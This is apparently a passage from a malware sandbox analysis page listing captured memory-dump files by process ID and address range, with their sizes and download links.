memory/3628-199-0x0000000002BE0000-0x0000000002BE5000-memory.dmp

Filesize
20KB

Download
memory/3628-198-0x0000000002BD0000-0x0000000002BD6000-memory.dmp

Filesize
24KB

Download
memory/3640-492-0x000001B1C8853000-0x000001B1C8855000-memory.dmp

Filesize
8KB

Download
memory/3640-486-0x0000000000000000-mapping.dmp

Download
memory/3640-559-0x000001B1C8858000-0x000001B1C8859000-memory.dmp

Filesize
4KB

Download
memory/3640-507-0x000001B1C8856000-0x000001B1C8858000-memory.dmp

Filesize
8KB

Download
memory/3640-490-0x000001B1C8850000-0x000001B1C8852000-memory.dmp

Filesize
8KB

Download
memory/3688-583-0x0000000000000000-mapping.dmp

Download
memory/3692-584-0x0000000000000000-mapping.dmp

Download
memory/3800-206-0x0000024FF9D60000-0x0000024FF9D62000-memory.dmp

Filesize
8KB

Download
memory/3800-208-0x0000024FF9D65000-0x0000024FF9D66000-memory.dmp

Filesize
4KB

Download
memory/3800-207-0x0000024FF9D63000-0x0000024FF9D65000-memory.dmp

Filesize
8KB

Download
memory/3800-209-0x0000024FF9D66000-0x0000024FF9D67000-memory.dmp

Filesize
4KB

Download
memory/3800-204-0x0000024FFA050000-0x0000024FFA31F000-memory.dmp

Filesize
2.8MB

Download
memory/3800-201-0x0000000000000000-mapping.dmp

Download
memory/3824-461-0x0000000000000000-mapping.dmp

Download
memory/3864-457-0x0000000000000000-mapping.dmp

Download
memory/3968-231-0x0000000000000000-mapping.dmp

Download
memory/3984-463-0x0000000000000000-mapping.dmp

Download
memory/4092-476-0x0000000000000000-mapping.dmp

Download